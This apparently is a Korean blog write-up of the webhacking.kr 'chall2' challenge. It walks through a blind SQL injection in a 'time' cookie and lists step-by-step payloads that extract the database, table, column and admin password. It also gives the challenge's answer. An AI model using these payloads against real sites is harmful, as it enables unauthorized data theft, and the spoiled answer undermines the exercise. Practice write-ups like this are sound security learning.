페이지 소스를 보면 <!-- 2020-02-20 10:07:56-->가 있는데 이것이 핵심 포인트다. 쿠키 값을 보면 time이란 값이 있는데 저 쿠키 값에 Blind SQL Injection을 수행해야 한다.
time이란 파라미터에 and 1=2 #을 인젝션 하면 <!-- 2070-01-01 09:00:00 -->이 나오는 것을 볼 수 있다.
Flase일 때 09:00:00이 나온고 True일 때는 09:00:01이 나온다.
이제 True와 False일 때의 반응을 알았으니 Database -> Table -> Column -> Record를 알아내면 되는데 이걸 손으로 하기에는 너무 시간이 많이 걸리기 때문에 python을 이용하여 툴을 만들었다.(requests 모듈을 이용)
1. Database 길이 : and length((select database())) = 숫자 (결과 : 6) database() 함수는 해당 데이터 베이스를 조회하는 데이터베이스 함수이다.
2. Database 이름 : and ascii(substr((select database()), 위치, 1)) = ascii number 결과(chall2)
ascii() : 파라미터 값을 아스키 문자로 바꾸는 함수이다.
substr(first, sec, third) : first의 값을 sec에서부터 시작하여 third만큼 잘라서 해당 문자를 가져오는 함수이다.
3. Table 개수 : and length((select table_name from information_schema.tables where table_schema='chall2' limit 위치, 1)) > 0 (Table 수는 2개)
4. Table 길이 : and length((select table_name from information_schema.tables where table_schema="chall2" limit 위치,1)) = 숫자 (첫 번째 테이블: 13 두 번째 테이블: 3)
5. Table 이름: and ascii(substr((select table_name from information_schema.tables where table_schema='chall2' limit 위치, 1), 위치, 1)) = 숫자 (첫 번째 테이블 : admin_area_pw 두 번째 테이블: log)
참고로 substr은 0이 아니라 1부터 시작한다.
6. Column 개수: and length((select column_name from information_schema.columns where table_name="admin_area_pw" limit 위치, 1)) > 0 (Columns은 1개이다.)
7. Column 길이: and length((select column_name from information_schema.columns where table_name="admin_area_pw" limit 0,1)) = 숫자 ( 길이 : 2)
8. Column 이름: and ascii(substr((select column_name from information_schema.columns where table_name="admin_area_pw" limit 0,1) , 위치, 1)) = ascii num ( Column 이름 : pw)
9. Record 개수 : and length((select pw from admin_area_pw limit 위치, 1)) > 0 (Recod 개수 : 1개)
10. Record 길이 : and length((select pw from admin_area_pw limit 0,1), 위치, 1) = 숫자 (길이 : 17)
11. pw : and ascii(substr((select pw from admin_area_pw limit 0,1), 위치, 1)) = ascii number (pw : kudos_to_beistlab)
SQL Injection(AJAX/JSON/jQuery/CAPTCHA) (0) | 2020.02.22 |
---|---|
webhacking.kr 3번 (0) | 2020.02.21 |
SQL Injection (0) | 2020.02.21 |
Server Side Include Injection (0) | 2020.02.20 |
PHP Code Injection (0) | 2020.02.20 |
댓글 영역